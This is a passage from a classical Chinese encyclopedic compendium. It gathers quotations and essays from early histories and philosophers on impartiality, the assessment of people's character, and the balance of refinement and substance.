皆 从 . 则 孰 守 社 稷 . 君 反 国 而 有 私 也 . 无 乃 不 可 乎 . 于 是 弗 果 颁 .\n又 曰 . 天 无 私 覆 . 地 无 私 载 . 日 月 无 私 照 . 奉 三 无 私 . 以 劳 天 下 .\n韩 子 曰 . 解 狐 荐 其 雠 以 为 相 . 其 雠 往 拜 谢 . 解 狐 引 弓 . 迎 而 射 之 .\n又 曰 . 解 狐 与 荆 伯 柳 为 怨 . 赵 简 王 问 于 解 狐 曰 . 孰 可 以 为 上 党 守 . 对 曰 . 荆 伯 柳 可 . 赵 简 王 曰 . 非 子 之 雠 乎 . 对 曰 . 臣 闻 忠 臣 举 贤 . 不 避 仇 雠 .\n说 苑 曰 . 晋 文 公 问 于 舅 犯 . 谁 可 使 为 西 河 守 者 . 对 曰 . 虚 子 羔 . 曰 . 子 羔 非 汝 之 仇 欤 . 曰 . 君 问 为 守 者 . 非 问 臣 之 仇 也 . 子 羔 见 舅 犯 谢 之 曰 . 君 幸 赦 臣 之 过 . 荐 之 于 君 . 得 为 西 河 守 . 舅 犯 曰 . 荐 子 者 公 也 . 吾 不 以 私 事 害 公 义 . 子 其 去 矣 . 顾 . 吾 射 子 矣 .\n家 语 曰 . 澹 台 灭 明 . 为 人 公 正 无 私 .\n慎 子 曰 . 夫 投 钩 分 财 . 投 策 分 马 . 非 以 钩 策 为 均 . 使 得 美 者 不 知 所 以 德 . 得 恶 者 不 知 所 以 怨 . 此 所 以 塞 怨 望 也 . 故 蓍 龟 所 以 立 公 言 也 . 权 衡 所 以 立 公 正 也 . 书 契 所 以 立 公 信 也 . 法 制 礼 籍 . 所 以 立 公 义 也 . 凡 立 公 所 以 弃 私 也 .\n吕 氏 春 秋 曰 . 荆 人 有 遗 弓 者 . 弗 肯 索 . 曰 . 荆 人 遗 之 . 荆 人 得 之 . 又 何 求 焉 . 孔 子 闻 之 曰 . 去 其 荆 而 可 矣 . 老 聃 闻 之 曰 . 去 其 人 而 可 矣 . 故 老 聃 则 至 公 得 矣 .\n又 曰 . 昔 先 圣 王 之 治 天 下 . 必 先 公 . 公 则 天 下 平 矣 . 有 得 天 下 者 众 矣 . 其 得 之 必 以 公 . 其 失 之 必 以 偏 .\n史 记 曰 . 邑 中 人 民 俱 出 猎 . 任 安 常 分 麋 鹿 雉 兔 . 众 人 皆 喜 . 曰 . 任 少 卿 分 则 平 .\n又 曰 . 陈 平 为 社 宰 . 分 肉 甚 均 . 里 父 老 曰 . 善 陈 孺 子 之 为 宰 . 平 曰 . 嗟 乎 . 使 平 得 宰 天 下 . 亦 如 肉 矣 .\n韩 诗 外 传 曰 . 楚 白 公 之 难 . 有 社 之 善 者 . 辞 其 母 . 将 死 君 难 . 其 母 曰 . 弃 母 死 君 . 可 乎 . 社 之 善 曰 . 闻 事 君 者 . 内 其 禄 而 外 其 身 . 今 之 所 养 母 者 . 君 之 禄 也 . 请 往 死 之 . 比 至 朝 . 三 废 车 中 . 其 仆 曰 . 子 惧 . 何 不 反 也 . 社 之 善 曰 . 惧 . 吾 私 也 . 死 君 . 吾 公 也 . 吾 闻 君 子 不 以 私 害 公 . 遂 死 之 .\n汉 书 曰 . 萧 何 不 与 曹 参 相 能 . 及 何 病 . 惠 帝 自 临 视 . 因 问 曰 . 君 即 百 岁 后 . 谁 可 代 君 . 对 曰 . 知 臣 莫 如 主 . 帝 曰 . 曹 参 何 如 . 何 顿 首 曰 . 帝 得 之 矣 . 臣 死 不 恨 矣 .\n又 曰 . 义 纵 少 时 . 与 张 次 翁 俱 攻 剽 为 群 盗 . 纵 以 医 幸 王 太 后 . 太 后 问 . 子 有 兄 弟 欲 为 官 者 乎 . 曰 . 有 弟 无 行 . 不 可 . 太 后 乃 告 上 . 拜 纵 为 中 郎 .\n又 曰 . 朱 邑 惇 笃 于 故 旧 . 然 性 公 正 . 不 可 交 以 私 . 天 子 器 之 .\n东 观 汉 记 曰 . 耿 嵩 履 清 高 之 节 . 童 介 然 特 立 . 不 随 于 俗 . 乡 党 士 大 夫 莫 不 敬 异 之 . 王 莽 败 . 贼 盗 起 . 宗 族 在 草 中 . 谷 食 贵 . 人 民 相 食 . 宗 家 数 百 . 升 合 分 粮 . 时 嵩 年 十 二 三 . 宗 人 长 少 . 咸 共 推 令 主 廪 给 . 莫 不 称 平 .\n魏 武 令 曰 . 今 寿 春 汉 中 长 安 . 先 欲 使 一 儿 各 往 诣 领 之 . 欲 择 慈 孝 不 违 . 吾 今 儿 亦 未 知 用 谁 也 . 虽 儿 小 时 见 爱 . 而 长 大 能 善 . 必 用 之 . 吾 非 有 二 言 也 . 不 但 不 私 臣 吏 . 儿 子 亦 不 欲 有 所 私 .\n周 生 烈 曰 . 天 下 所 以 平 者 . 政 平 也 . 政 所 以 平 者 . 人 平 也 . 人 所 以 平 者 . 心 平 也 . 燕 书 曰 . 梁 琛 使 秦 . 琛 从 兄 弈 . 先 在 秦 为 尚 书 郎 . 会 罢 . 秦 主 欲 令 琛 止 弈 舍 . 琛 语 有 司 曰 . 昔 诸 葛 亮 兄 弟 各 处 三 国 . 及 其 聘 集 . 公 朝 相 见 . 退 无 私 面 . 君 子 之 志 . 余 敢 忘 乎 . 竟 不 止 . 弈 数 就 邸 舍 . 因 问 东 国 起 居 . 琛 曰 . 今 二 方 鼎 据 . 兄 弟 并 蒙 附 宠 . 论 心 各 有 所 在 . 今 欲 以 东 国 事 语 君 . 恐 非 西 国 之 所 欲 闻 . 何 以 见 问 .\n【 论 】 魏 曹 羲 至 公 论 曰 . 夫 世 人 所 谓 掩 恶 扬 善 者 . 君 子 之 大 义 . 保 明 同 好 . 朋 友 之 至 交 . 斯 言 之 作 . 盖 闾 阎 之 日 谈 . 所 以 救 爱 憎 之 相 谤 . 崇 居 厚 之 大 分 耳 . 非 笃 正 文 至 理 . 折 中 之 公 议 也 . 世 士 不 断 其 数 . 而 系 其 言 . 故 善 恶 不 分 . 以 覆 过 为 弘 . 朋 友 忽 义 . 以 雷 同 为 美 . 善 恶 不 分 . 乱 实 由 之 . 朋 友 雷 同 . 败 必 从 焉 . 谈 论 以 当 实 为 清 . 不 以 过 难 为 贵 . 相 知 者 以 等 分 为 交 . 不 以 雷 同 为 固 . 是 以 达 者 . 存 其 义 . 不 察 于 交 . 识 其 心 . 不 求 于 言 . 且 在 私 论 . 犹 行 之 有 节 . 明 处 公 议 . 则 无 所 固 之 矣 . 凡 智 者 之 处 世 . 咸 欲 兴 化 致 治 者 也 . 兴 化 致 治 . 不 崇 公 抑 割 . 情 以 顺 理 . 厉 清 议 以 督 俗 . 明 是 非 以 宣 教 者 . 吾 未 见 其 功 也 . 清 议 非 臧 否 不 显 . 是 非 非 赏 罚 不 明 . 故 臧 否 不 可 以 远 实 . 赏 罚 不 可 以 失 中 . 若 乃 背 清 议 . 违 是 非 . 虽 尧 不 能 一 日 以 治 . 审 臧 否 . 详 赏 罚 . 故 中 主 可 以 万 世 安 . 是 以 君 子 知 私 情 之 难 统 . 至 公 之 易 行 . 故 季 友 鸩 兄 而 不 疑 . 叔 向 戮 弟 而 不 悔 . 斯 二 士 者 . 皆 前 世 之 通 士 . 晋 鲁 之 忠 臣 也 . 亦 岂 无 慈 爱 骨 肉 之 心 . 愍 恤 同 生 之 仁 哉 . 夫 至 公 者 . 天 之 经 也 . 地 之 义 也 . 理 之 要 也 . 人 之 用 也 . 昔 鲧 者 . 亲 禹 之 父 也 . 舜 则 殛 鲧 而 兴 禹 . 禹 知 舜 之 殛 其 父 无 私 . 故 受 命 而 不 辞 . 舜 明 禹 知 己 之 至 公 . 故 用 之 而 无 疑 . 无 私 者 . 虽 父 黜 而 子 不 言 . 况 用 之 于 他 哉 .\n晋 嵇 康 释 私 论 曰 . 不 知 冒 阴 之 可 以 无 景 . 而 患 景 之 不\n匿 . 不 知 无 惜 ○ 晋 书 四 十 九 嵇 康 传 作 措\n. 下 同 . 之 可 以 无 患 . 而 恨 惜 之 不 巧 . 岂 不 哀 哉 .\n未 有 抱 伪 怀 奸 . 而 身 立 清 世 . 匿 非 藏 情 . 而 信 着 明 君 者\n也 . 是 以 君 子 既 有 其 质 . 又 睹 其 鉴 . 贵 夫 亮 达 . 希 而 存\n之 . 恶 夫 务 愆 . 弃 而 远 之 . 言 无 苟 讳 . 而 行 无 苟 德 . 不\n以 爱 之 而 苟 善 . 不 以 恶 之 而 苟 非 . 心 无 所 矜 . 而 情 无 所\n系 . 体 清 神 正 . 而 是 非 允 当 . 忠 感 明 于 天 子 . 而 信 笃 乎\n万 民 . 寄 胸 怀 于 八 荒 . 垂 坦 荡 以 永 日 . 斯 非 贤 人 君 子 高\n行 之 美 异 者 乎 .\n又 曰 . 子 路 曰 . 澹 台 子 羽 . 有 君 子 之 容 . 而 行 不 胜 其 貌 . 宰 我 有 文 雅 之 辞 . 而 智 不 充 其 辩 . 孔 子 曰 . 相 马 以 舆 . 相 士 以 居 . 弗 可 废 已 . 以 容 取 人 . 则 失 之 子 羽 . 以 言 取 人 . 则 失 之 宰 予 .\n又 曰 . 子 夏 三 年 丧 毕 . 见 于 孔 子 . 与 之 琴 . 使 之 弦 . 侃 侃 而 乐 . 作 而 曰 . 先 王 制 礼 . 不 敢 不 及 . 子 曰 . 君 子 也 . 闵 子 三 年 丧 毕 . 见 于 孔 子 . 与 之 琴 . 使 之 弦 . 切 切 而 悲 . 作 而 曰 . 先 王 制 礼 . 不 敢 过 焉 . 子 曰 . 君 子 也 . 子 贡 曰 . 二 者 殊 情 . 而 俱 曰 君 子 . 赐 也 惑 之 . 敢 问 . 孔 子 曰 . 闵 子 哀 未 尽 . 能 断 之 以 礼 . 子 夏 哀 已 尽 . 能 引 之 及 礼 . 虽 钧 谓 之 君 子 . 不 亦 可 乎 .\n孔 藂 子 曰 . 魏 安 厘 王 问 子 从 ○ 太 平 御 览 四 百 四 十 七 作 顺 . 此 避 梁 讳 而 未 回 改 . 后 同 . 曰 . 马 回 梗 梗 亮 直 . 有 大 丈 夫 之 节 . 吾 欲 以 为 相 . 可 乎 . 答 曰 . 亮 直 之 节 . 臣 未 明 也 . 王 曰 . 何 故 . 答 曰 . 长 目 而 豕 视 者 . 必 体 方 而 心 圆 . 每 以 其 法 相 人 . 千 百 不 失 一 . 臣 见 回 . 非 不 伟 其 体 干 也 . 然 甚 疑 其 目 . 王 卒 用 之 . 三 月 . 果 以 谄 言 得 罪 .\n汉 书 曰 . 高 帝 置 酒 洛 阳 南 宫 . 上 曰 . 吾 所 以 有 天 下 者 何 . 项 氏 之 所 以 失 天 下 者 何 . 王 陵 对 曰 . 陛 下 慢 而 侮 人 . 项 羽 仁 而 敬 人 . 然 陛 下 使 人 攻 城 略 地 . 所 降 者 因 以 与 之 . 与 天 下 同 其 利 也 . 项 羽 妒 贤 嫉 能 . 有 功 者 害 之 . 贤 者 疑 之 . 战 胜 而 不 与 人 功 . 得 地 而 不 与 人 利 . 此 其 所 以 失 天 下 也 . 上 曰 . 公 知 其 一 . 未 知 其 二 . 夫 运 筹 帷 幄 之 中 . 决 胜 千 里 之 外 . 吾 不 如 子 房 . 镇 国 家 . 抚 百 姓 . 给 饷 馈 . 不 绝 粮 道 . 吾 不 如 萧 何 . 连 百 万 之 众 . 战 必 胜 . 攻 必 取 . 吾 不 如 韩 信 . 此 三 者 皆 人 杰 也 . 吾 能 用 之 . 此 吾 所 以 有 天 下 也 . 项 羽 唯 有 一 范 增 . 不 能 用 . 此 其 所 以 为 我 擒 也 . 群 臣 悦 服 .\n袁 山 松 汉 书 曰 . 王 允 . 字 子 师 . 世 仕 州 郡 . 为 冠 盖 . 同 郡 郭 林 宗 . 见 而 奇 之 曰 . 王 生 一 日 千 里 . 王 佐 才 也 . 遂 与 之 友 善 . 允 仕 至 司 徒 .\n青 州 先 贤 传 曰 . 京 师 号 曰 . 陈 仲 举 . 昂 昂 如 千 里 骥 . 周 孟 玉 . 浏 浏 如 松 下 风 .\n范 晔 后 汉 书 曰 . 许 劭 尝 到 颍 川 . 多 长 者 之 游 . 唯 不 诣 陈 寔 . 又 陈 蕃 丧 妻 还 葬 . 乡 人 毕 至 . 而 劭 独 不 往 . 或 问 其 故 . 劭 曰 . 太 丘 道 广 . 广 则 难 周 . 仲 举 性 峻 . 峻 则 少 通 . 故 不 造 也 . 其 多 所 裁 量 若 此 . 曹 操 微 时 . 尝 卑 辞 厚 礼 . 求 为 已 助 . 劭 鄙 其 人 . 而 不 肯 对 . 操 乃 伺 隙 胁 劭 . 劭 不 得 已 曰 . 君 清 平 之 奸 贼 . 乱 世 之 英 雄 . 操 大 悦 而 去 . 初 劭 与 从 兄 靖 . 俱 有 高 名 . 好 共 覈 论 乡 党 人 物 . 每 月 辄 更 其 品 题 . 故 汝 南 俗 有 月 旦 评 焉 .\n郭 泰 别 传 曰 . 泰 字 林 宗 . 少 游 汝 南 . 先 过 袁 阆 . 不 宿 而 退 . 遂 往 从 黄 宪 . 累 日 方 还 . 或 问 林 宗 . 林 宗 曰 . 奉 高 之 器 . 譬 诸 泛 滥 . 虽 清 而 易 挹 . 叔 度 汪 汪 君 子 . 若 千 万 顷 陂 . 澄 之 不 清 . 混 之 不 浊 . 不 可 量 也 .\n三 辅 决 录 曰 . 弭 生 字 仲 叔 . 其 父 贼 . 故 张 伯 英 与 李 幼 才 书 曰 . 弭 仲 叔 高 德 美 名 . 命 世 之 才 也 . 非 弭 氏 小 族 所 当 有 . 新 丰 瘠 土 所 当 出 也 .\n魏 志 曰 . 卢 钦 着 书 . 称 徐 邈 曰 . 或 问 钦 . 徐 公 当 武 帝 之 时 . 人 以 为 通 人 . 自 在 凉 州 . 及 还 京 都 . 人 以 为 介 . 何 也 . 钦 答 曰 . 往 者 毛 孝 先 崔 季 珪 用 事 . 贵 清 素 之 志 . 徐 公 不 改 其 常 . 故 人 以 为 通 . 比 来 天 下 奢 靡 . 转 相 放 效 . 而 徐 公 雅 尚 自 若 . 不 与 俗 同 . 故 前 日 之 通 . 乃 今 日 之 介 也 .\n典 略 曰 . 祢 衡 . 建 安 初 . 自 荆 州 北 游 许 都 . 书 一 刺 怀 之 . 漫 灭 而 无 所 遇 . 或 问 之 曰 . 何 不 从 陈 长 文 司 马 伯 达 乎 . 衡 曰 . 卿 欲 使 我 从 屠 沽 儿 辈 耶 . 又 问 曰 . 当 今 复 谁 可 者 . 衡 曰 . 大 儿 孔 文 举 . 小 儿 杨 德 祖 . 又 问 荀 令 君 赵 荡 寇 . 皆 足 盖 世 乎 . 衡 见 荀 有 容 仪 . 赵 有 腹 . 乃 答 曰 . 文 若 可 借 面 吊 丧 . 稚 长 可 使 监 厨 请 客 . 其 意 以 为 荀 但 有 貌 . 赵 健 啖 肉 也 . 又 曰 . 赵 戬 遭 三 辅 乱 . 客 于 荆 州 . 荆 州 牧 刘 表 . 以 为 宾 客 . 是 时 祢 衡 来 游 京 师 . 诋 訾 朝 士 . 谓 无 直 事 . 及 南 见 戬 . 叹 之 曰 . 所 谓 则 干 将 莫 耶 . 木 则 椅 桐 梓 漆 . 人 则 颜 冉 仲 弓 也 .\n姚 信 士 纬 曰 . 周 勃 之 勋 . 不 如 霍 光 . 此 前 史 所 载 . 较 然 可 见 . 而 以 勃 功 大 于 光 . 意 窃 不 安 . 何 者 . 勃 本 高 帝 大 臣 . 官 尊 势 显 . 众 所 归 向 . 居 太 尉 位 . 拥 兵 百 万 . 既 有 陈 平 王 陵 之 力 . 又 有 朱 虚 诸 王 之 援 . 郦 其 游 说 . 以 谲 诸 吕 . 因 众 之 心 . 易 以 济 事 . 若 霍 光 者 . 以 仓 卒 之 际 . 受 寄 托 之 任 . 辅 弼 幼 主 . 天 下 晏 然 . 遇 燕 王 上 官 之 乱 . 诛 除 凶 逆 . 以 靖 王 室 . 废 昌 邑 . 立 宣 帝 . 任 汉 家 之 重 . 隆 中 兴 之 祚 . 参 赞 伊 周 . 为 汉 贤 相 . 推 验 事 效 . 优 劣 明 矣 .\n袁 子 曰 . 或 云 . 故 少 府 杨 阜 . 岂 非 忠 臣 哉 . 答 曰 . 然 可 谓 直 士 . 忠 则 吾 不 知 也 . 夫 为 人 臣 . 见 人 主 失 道 . 指 斥 其 非 . 而 播 扬 其 恶 . 可 谓 直 士 . 未 为 忠 臣 . 故 司 马 陈 群 则 不 然 . 其 谈 论 终 日 . 未 尝 言 人 主 之 非 . 书 数 十 上 . 而 外 人 不 知 . 君 子 谓 陈 群 于 是 乎 长 者 .\n郭 子 曰 . 庾 道 季 云 . 蔺 相 如 虽 千 载 死 人 . 懔 懔 恒 如 有 生 气 . 曹 蜍 李 志 虽 见 在 . 厌 厌 如 在 九 泉 下 .\n世 说 曰 . 王 浚 冲 裴 叔 则 二 人 . 总 角 诣 钟 士 季 . 须 臾 去 . 后 客 问 二 童 何 如 . 钟 曰 . 裴 楷 清 通 . 王 戎 简 要 . 后 二 十 年 . 此 二 贤 当 为 吏 部 尚 书 . 冀 尔 时 天 下 无 复 滞 才 . 事 具 职 官 部 吏 部 尚 书 篇 .\n又 曰 . 嵇 中 散 语 赵 景 真 . 卿 瞳 子 白 黑 分 明 . 有 白 起 风 . 恨 量 小 狭 . 赵 答 曰 . 尺 表 能 审 琁 衡 之 度 . 寸 管 能 测 往 复 之 晷 . 何 必 在 大 . 但 问 识 何 如 耳 .\n又 曰 . 诸 葛 瑾 . 其 弟 亮 . 及 从 弟 诞 . 并 有 盛 名 . 各 在 一 国 . 于 时 以 为 蜀 得 其 龙 . 吴 得 其 虎 . 魏 得 其 狗 .\n又 曰 . 王 大 将 军 称 王 夷 甫 . 处 众 人 之 中 . 如 珠 玉 在 瓦 石 闲 .\n又 曰 . 世 中 称 庾 文 康 为 丰 年 玉 . 庾 稚 恭 为 荒 年 谷 .\n又 曰 . 魏 明 帝 世 . 使 后 弟 毛 曾 . 与 夏 侯 太 初 共 坐 . 时 人 谓 蒹 葭 倚 玉 树 . 时 目 夏 侯 太 初 . 朗 如 日 月 入 怀 .\n【 书 】 晋 徐 藻 妻 陈 氏 与 妹 刘 氏 书 . 伏 见 伟 方 所 作 先 君 诔 . 其 述 咏 勋 德 . 则 仁 风 靡 坠 . 其 言 情 诉 哀 . 则 孝 心 以 叙 . 自 非 挺 生 之 才 . 孰 能 克 隆 聿 脩 若 斯 者 乎 . 执 咏 反 覆 . 触 言 流 泪 . 感 赖 交 集 . 悲 慰 并 至 . 元 方 伟 方 . 并 年 少 而 有 盛 才 . 文 辞 富 艳 . 冠 于 此 世 . 窃 不 自 量 . 有 疑 一 言 . 略 陈 所 怀 . 庶 备 起 予 . 先 君 既 体 弘 仁 义 . 又 动 则 圣 检 . 奉 视 极 孝 . 事 君 尽 忠 . 行 己 也 恭 . 养 民 也 惠 . 可 谓 立 德 立 功 . 示 民 轨 仪 者 也 . 但 道 长 祚 短 . 时 乏 识 真 . 荣 位 未 登 . 高 志 不 遂 . 本 不 标 方 外 迹 也 . 老 庄 者 . 绝 圣 弃 智 . 浑 齐 万 物 . 等 贵 贱 . 忘 哀 乐 . 非 经 典 所 贵 . 非 名 教 所 取 . 何 必 辄 引 以 为 喻 耶 . 可 共 详 之 .\n【 论 】 后 汉 孔 融 汝 颍 优 劣 论 曰 . 融 以 为 汝 南 士 胜 颍 川 士 . 陈 长 文 难 . 融 答 之 曰 . 汝 南 戴 子 高 . 亲 止 千 乘 万 骑 . 与 光 武 皇 帝 共 于 道 中 . 颍 川 士 虽 抗 节 . 未 有 颉 颃 天 子 者 也 . 汝 南 许 子 伯 . 与 其 友 人 . 共 说 世 俗 将 坏 . 因 夜 举 声 号 哭 . 颍 川 虽 忧 时 . 未 有 能 哭 世 者 也 . 汝 南 府 许 掾 . 教 太 守 邓 晨 . 图 开 稻 陂 数 万 顷 . 累 世 获 其 功 . 夜 有 火 光 之 瑞 . 韩 元 长 虽 好 地 理 . 未 有 成 功 见 效 . 如 许 掾 者 也 . 汝 南 张 元 伯 . 身 死 之 后 . 见 梦 范 巨 卿 . 颍 川 士 虽 有 奇 异 . 未 有 能 神 而 灵 者 也 . 汝 南 应 世 叔 . 读 书 五 行 俱 下 . 颍 川 士 虽 多 聪 明 . 未 有 能 离 娄 并 照 者 也 . 汝 南 李 洪 . 为 太 尉 掾 . 弟 煞 人 当 死 . 洪 自 劾 诣 合 . 乞 代 弟 命 . 便 饮 酖 而 死 . 弟 用 得 全 . 颍 川 虽 尚 节 义 . 未 有 能 煞 身 成 仁 如 洪 者 也 . 汝 南 翟 子 威 . 为 东 郡 太 守 . 始 举 义 兵 . 以 讨 王 莽 . 颍 川 士 虽 疾 恶 . 未 有 能 破 家 为 国 者 也 . 汝 南 袁 公 着 . 为 甲 科 郎 . 上 书 欲 治 梁 冀 . 颍 川 士 虽 慕 忠 谠 . 未 有 能 投 命 直 言 者 也 .\n魏 夏 侯 玄 乐 毅 论 曰 . 夫 求 古 贤 之 意 . 宜 以 大 者 远 者 先 之 . 必 迂 回 而 难 通 . 然 后 已 焉 可 也 . 观 乐 生 报 燕 惠 王 之 书 . 其 殆 庶 乎 知 机 . 合 道 以 终 始 者 与 . 其 喻 昭 王 曰 . 伊 尹 放 太 甲 而 不 疑 . 太 甲 受 放 而 不 怨 . 是 以 天 下 为 心 者 也 . 夫 欲 极 道 德 之 至 量 . 务 以 天 下 为 心 者 . 必 致 其 主 于 盛 隆 . 合 其 趣 于 先 王 . 乐 生 之 志 . 岂 其 局 迹 当 时 . 止 于 兼 并 而 已 哉 . 举 齐 之 事 . 所 以 运 其 机 而 动 四 海 也 . 围 城 而 害 不 加 于 百 姓 . 此 仁 心 着 于 遐 迩 矣 . 举 国 不 谋 其 功 . 除 暴 不 以 威 力 . 此 至 德 令 于 天 下 也 . 迈 至 德 以 率 列 国 . 则 几 于 汤 武 之 事 矣 . 乐 生 方 恢 大 纲 . 以 纵 二 城 . 收 民 明 信 . 以 待 其 弊 . 将 使 即 墨 莒 人 . 顾 仇 其 上 . 愿 释 干 戈 . 赖 我 犹 亲 . 善 守 之 智 . 无 所 施 之 . 然 求 仁 得 仁 . 即 墨 大 夫 之 义 也 . 任 穷 则 从 . 微 子 适 周 之 道 也 . 开 弥 广 之 路 . 以 待 田 单 之 徒 . 长 容 善 之 风 . 以 申 齐 之 志 . 我 泽 如 春 . 下 应 如 草 . 道 光 宇 宙 . 智 者 宅 心 . 然 则 邻 国 倾 慕 . 四 海 延 颈 . 思 戴 燕 主 . 仰 望 风 声 . 二 城 必 从 . 则 王 业 隆 矣 . 虽 淹 留 于 两 邑 . 乃 所 以 致 速 于 天 下 也 . 不 幸 之 变 . 势 所 不 图 . 败 于 垂 成 . 时 运 固 然 . 乐 生 岂 不 知 拔 二 城 之 速 了 哉 . 顾 城 拔 而 业 乖 也 . 岂 不 虑 不 速 之 致 变 哉 . 顾 业 乖 与 变 同 也 . 由 是 观 之 . 乐 生 之 不 屠 二 城 . 其 亦 未 可 量 也 .\n晋 张 辅 名 士 优 劣 论 曰 . 世 人 见 魏 武 皇 帝 处 有 中 土 . 莫 不 谓 胜 刘 玄 德 也 . 余 以 玄 德 为 胜 . 夫 拨 乱 之 主 . 先 以 能 收 相 获 将 为 本 . 一 身 善 战 . 不 足 恃 也 . 世 人 以 玄 德 为 吕 布 所 袭 . 为 武 帝 所 走 . 举 军 东 下 . 而 为 陆 逊 所 覆 . 虽 曰 为 吕 布 所 袭 . 未 若 武 帝 为 徐 荣 所 败 . 失 马 被 创 之 危 也 . 玄 德 还 据 徐 州 . 形 势 未 合 . 在 荆 州 . 景 叔 父 子 不 能 用 其 计 . 举 州 降 魏 . 手 下 步 骑 . 不 满 数 千 . 为 武 帝 大 众 所 走 . 未 若 武 帝 为 吕 布 北 骑 所 禽 . 突 火 之 急 也 . 为 陆 逊 所 覆 . 未 若 武 帝 为 张 绣 所 困 . 挺 身 逃 遁 . 以 丧 二 子 也 . 然 其 忌 克 . 安 忍 无 亲 . 董 公 仁 贾 文 和 . 恒 以 佯 愚 自 免 . 荀 文 若 杨 德 祖 之 徒 . 多 见 贼 害 . 行 兵 三 十 余 年 . 无 不 亲 征 . 功 臣 谋 士 . 曾 无 列 土 之 封 . 仁 爱 不 加 亲 戚 . 惠 泽 不 流 百 姓 . 岂 若 玄 德 威 而 有 思 . 勇 而 有 义 . 宽 弘 而 大 略 乎 . 诸 葛 孔 明 . 达 治 知 变 . 殆 王 佐 之 才 . 玄 德 无 强 盛 之 势 . 而 令 委 质 . 张 飞 关 羽 . 皆 人 杰 也 . 服 而 使 之 . 夫 明 闇 不 相 为 用 . 能 否 不 相 为 使 . 武 帝 虽 处 安 强 . 不 为 之 用 也 . 况 在 危 急 之 间 . 势 弱 之 地 乎 . 若 令 玄 德 据 有 中 州 . 将 与 周 室 比 隆 . 岂 徒 三 杰 而 已 哉 .\n又 曰 . 世 人 论 司 马 迁 班 固 . 多 以 固 为 胜 . 余 以 为 失 . 迁 叙 三 千 年 事 . 五 十 万 言 . 固 叙 二 百 年 事 . 八 十 万 言 . 固 烦 省 不 敌 . 不 如 一 也 . 良 史 述 事 . 善 足 以 奖 劝 . 恶 足 以 鉴 诫 . 人 道 之 常 . 中 流 小 事 . 无 取 皆 书 . 不 如 二 也 . 毁 败 晁 错 . 伤 忠 臣 之 道 . 不 如 三 也 . 迁 既 造 创 . 固 又 因 循 . 难 易 益 不 同 矣 . 又 迁 为 苏 秦 张 仪 范 睢 蔡 泽 作 传 . 逞 词 流 离 . 亦 足 以 明 其 大 才 . 此 真 所 以 为 良 史 也 .\n又 曰 . 乐 毅 诸 葛 孔 明 之 优 劣 . 互 以 毅 相 弱 燕 . 合 五 国\n之 兵 . 以 破 强 齐 . 雪 君 王 之 耻 . 围 城 而 不 急 攻 . 将 令 道\n穷 而 义 服 . 此 则 仁 者 之 师 . 莫 不 谓 毅 为 优 . 余 以 五 国 之\n兵 . 共 伐 一 齐 . 不 足 为 强 . 大 战 济 西 . 伏 尸 流 血 . 不 足\n为 仁 . 夫 孔 明 包 文 武 之 德 . 刘 玄 德 以 知 人 之 明 . 屡 造 其\n庐 . 咨 以 济 世 . 奇 策 泉 涌 . 智 谋 从 横 . 遂 东 说 孙 权 . 北\n抗 大 魏 . 以 乘 胜 之 师 . 翼 佐 取 蜀 . 及 玄 德 临 终 . 禅 其 大\n位 . 在 扰 攘 之 际 . 立 童 蒙 之 主 . 设 官 分 职 . 班 叙 众 才 .\n文 以 宁 内 . 武 以 折 冲 . 然 后 布 其 恩 泽 于 中 国 之 民 . 其 行\n军 也 . 路 不 拾 遗 . 毫 毛 不 犯 . 勋 业 垂 济 而 陨 . 观 其 遗 文\n. 谋 谟 弘 远 . 雅 规 恢 廓 . 己 有 功 则 让 于 下 . 下 有 ● 则 躬\n自 咎 . 见 善 则 迁 . 纳 谏 则 改 . 故 声 烈 震 于 遐 迩 也 . 孟 子\n曰 . 闻 伯 夷 之 风 . 贪 夫 廉 . 余 以 为 睹 孔 明 之 忠 . 奸 臣 立\n节 矣 . 殆 将 与 伊 吕 争 俦 . 岂 徒 乐 毅 为 伍 哉 .\n又 曰 . 礼 有 以 文 为 贵 者 . 天 子 龙 卷 . 诸 侯 黼 . 大 夫 黻 . 士 玄 衣 纁 裳 . 天 子 之 冕 . 朱 绿 璪 十 有 二 旒 . 诸 侯 九 . 上 大 夫 七 . 下 大 夫 五 . 士 三 . 此 以 文 为 贵 也 . 礼 有 以 素 为 贵 者 . 至 敬 无 文 . 父 党 无 容 . 大 珪 不 瑑 . 大 羹 不 和 . 大 路 素 而 越 席 . 牺 尊 疏 布 . 此 以 素 为 贵 也 .\n又 曰 . 壹 献 质 . 三 献 文 .\n左 传 曰 . 言 以 足 志 . 文 以 足 言 . 不 言 谁 知 其 志 . 言 之 无 文 . 行 而 不 远 .\n又 曰 . 昭 公 如 楚 . 郑 伯 劳 于 师 之 梁 . 孟 僖 子 为 介 . 不 能 相 仪 . 及 楚 . 不 能 答 郊 劳 . 公 至 自 楚 . 僖 子 病 不 能 礼 . 乃 讲 学 之 .\n又 曰 . 齐 庆 封 来 聘 . 叔 孙 与 庆 封 食 . 不 敬 . 为 赋 相 鼠 . 亦 不 知 也 .\n论 语 曰 . 周 监 于 二 代 . 郁 郁 乎 文 哉 . 吾 从 周 .\n又 曰 . 子 贡 问 曰 . 孔 文 子 何 以 谓 之 文 也 . 子 曰 . 敏 而 好 学 . 不 耻 下 问 . 是 以 谓 之 文 也 .\n又 曰 . 质 胜 文 则 野 . 文 胜 质 则 史 . 文 质 彬 彬 . 然 后 君 子 .\n又 曰 . 棘 子 成 曰 . 君 子 质 而 已 矣 . 何 以 文 为 . 子 贡 曰 . 惜 乎 . 夫 子 之 说 君 子 也 . 驷 不 及 舌 . 文 犹 质 也 . 质 犹 文 也 . 虎 豹 之 鞟 . 犹 犬 羊 之 鞟 .\n春 秋 元 命 包 曰 . 正 朔 三 而 改 . 文 质 再 而 复 .\n庄 子 曰 . 夫 澹 泊 寂 寞 . 虚 无 无 为 . 此 天 地 之 本 . 道 德 之 质 .\n汉 书 曰 . 周 昌 敢 直 言 . 高 帝 欲 废 太 子 . 而 立 戚 姬 子 如 意 . 昌 廷 争 之 . 上 问 其 说 . 昌 为 人 吃 . 又 盛 怒 . 曰 . 臣 口 不 能 言 . 然 知 其 不 可 . 陛 下 欲 废 太 子 . 臣 期 期 不 奉 诏 . 上 欣 然 而 笑 . 即 罢 .\n又 曰 . 陆 贾 少 有 口 辩 . 高 帝 为 贾 曰 . 试 为 我 着 秦 所 以 失 天 下 . 吾 所 以 得 之 者 . 贾 每 奏 一 篇 . 帝 未 尝 不 称 善 . 左 右 呼 万 岁 . 称 其 书 曰 新 语 .\n又 曰 . 曹 参 代 萧 何 为 相 国 . 无 所 变 更 . 壹 遵 何 之 约 束 . 日 夜 饮 酒 . 不 事 